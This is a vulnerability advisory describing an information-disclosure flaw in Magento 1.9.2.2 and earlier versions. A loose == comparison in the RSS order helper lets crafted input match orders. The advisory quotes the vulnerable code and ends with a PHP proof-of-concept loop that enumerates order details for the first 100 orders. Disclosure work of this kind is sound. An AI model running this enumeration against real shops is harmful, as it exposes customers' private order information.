Magento 1.9.2.2 RSS Feed Information Disclosure

Magento <= 1.9.2.2 (RSS Feed) Information Disclosure Vulnerability  
------------------------------------------------------------------  
  
  
[-] Software Link:  
  
http://magento.com/  
  
  
[-] Affected Versions:  
  
Version 1.9.2.2 and prior versions.  
  
  
[-] Vulnerability Description:  
  
The vulnerability is located in the /app/code/core/Mage/Rss/Helper/Order.php script,  
specifically into the getOrderByStatusUrlKey method of the Mage_Rss_Helper_Order  
class, which is the method being called when dispatching RSS feed requests:  
  
83. public function getOrderByStatusUrlKey($key)  
84. {  
85. $data = json_decode(base64_decode($key), true);  
86. if (!is_array($data) || !isset($data['order_id']) || !isset($data['increment_id'])  
87. || !isset($data['customer_id'])  
88. ) {  
89. return null;  
90. }  
91.   
92. /** @var $order Mage_Sales_Model_Order */  
93. $order = Mage::getModel('sales/order')->load($data['order_id']);  
94. if ($order->getId()  
95. && $order->getIncrementId() == $data['increment_id']  
96. && $order->getCustomerId() == $data['customer_id']  
97. ) {  
98. return $order;  
99. }  
100.   
101. return null;  
102. }  
  
User input passed through the "data" request parameter is being base64-decoded and then JSON-decoded  
at line 85, and its "increment_id" and "customer_id" parameters are used to match the same values of  
the order object retrieved at line 93. After that, if everything is matched correctly, then the $order  
object will be returned by the getOrderByStatusUrlKey method for displaying within the RSS feed as XML  
data. The vulnerability exists because of an unsafe way of comparing those parameters, due to comparison  
operator == is being used instead of === within the "if" statement at lines 95-96. The latter operator  
returns "true" only if the compared values are equal and the same type, while the first compare the values  
after "type juggling". Because of this behavior, an attacker might be able to download order comments and  
other order-related information by using a PHP script like the following, which will try to enumerate the  
details of the first 100 orders:  
  
for ($i = 1; $i <= 100; $i++)  
{  
print "[-] Retrieving order ID $i\n";  
  
$data = array('order_id' => $i, 'increment_id' => true, 'customer_id' => true)  
$data = base64_encode(json_encode($data));  
$_xml = http_get("http://[HOST]/magento/index.php/rss/order/status?data={$data}");  
  
print parse_magento_rss_order($_xml);  
}
